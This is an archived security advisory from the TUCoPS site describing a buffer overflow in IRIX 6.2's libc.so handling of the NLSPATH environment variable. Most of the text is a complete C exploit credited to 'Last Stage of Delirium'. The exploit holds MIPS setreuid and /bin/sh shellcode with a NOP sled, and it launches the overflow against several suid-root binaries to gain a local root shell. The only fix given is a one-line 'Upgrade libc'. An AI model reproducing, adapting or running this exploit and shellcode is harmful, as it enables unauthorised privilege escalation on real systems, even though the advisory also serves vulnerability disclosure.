TUCoPS :: SGI :: libc8~1.txt

Irix nlspath buffer overflow

COMMAND

    NLSPATH

SYSTEMS AFFECTED

    libc.so (IRIX 6.2)

PROBLEM

    There  exists  a  buffer  overflow  vulnerability  in  the libc.so
    library in the  way the NLSPATH  environment variable is  handled.
    It is possible to exploit  this bug in several suid  root binaries
    and locally gain root user privileges.  Code by LSD.

    /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
    /*## libc.so $NLSPATH                                                        #*/

    #define NOPNUM 768
    #define ADRNUM 176
    #define TMPNUM 200

    char setreuidcode[]=
        "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
        "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
        "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
        "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
        "\x24\x02\x04\x64"    /* li      $v0,1124             */
        "\x03\xff\xff\xcc"    /* syscall                      */
    ;

    char shellcode[]=
        "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
        "\x24\x02\x03\xf3"    /* li      $v0,1011             */
        "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
        "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
        "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
        "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
        "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
        "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "/bin/sh"
    ;

    char jump[]=
        "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
        "\x03\xe0\x00\x08"    /* jr      $ra                  */
    ;

    char nop[]="\x24\x0f\x12\x34";

    main(int argc,char **argv){
        char buffer[10000],adr[4],tmp[4],*b,*envp[2];
        int i,n=-1;

        printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
        printf("libc.so $NLSPATH for irix 6.2 IP:17,19,20,21,22\n\n");

        if(argc!=2){
            printf("usage: %s {login|who|netprint|ordist|cancel|route|"
                "at}\n",argv[0]);
            exit(-1);
        }
        if(!strcmp(argv[1],"login")) n=0;
        if(!strcmp(argv[1],"who")) n=1;
        if(!strcmp(argv[1],"netprint")) n=2;
        if(!strcmp(argv[1],"ordist")) n=3;
        if(!strcmp(argv[1],"cancel")) n=4;
        if(!strcmp(argv[1],"route")) n=5;
        if(!strcmp(argv[1],"at")) n=6;
        if(n==-1) exit(-1);

        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8492+1800;
        *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+8492-1024;

        envp[0]=buffer;
        envp[1]=0;

        b=buffer;
        sprintf(b,"NLSPATH=");
        b+=8;
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
        for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        *b++=0xff;
        for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
        for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
        *b=0;

        switch(n){
        case 0: execle("/bin/login","lsd",0,envp);
        case 1: execle("/sbin/who","lsd",0,envp);
        case 2: execle("/usr/lib/print/netprint","lsd",0,envp);
        case 3: execle("/usr/bsd/ordist","lsd",0,envp);
        case 4: execle("/usr/bin/cancel","lsd",0,envp);
        case 5: execle("/usr/etc/route","lsd","add",0,envp);
        case 6: execle("/usr/bin/at","lsd","bzz",0,envp);
        }
    }

SOLUTION

    Upgrade libc.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH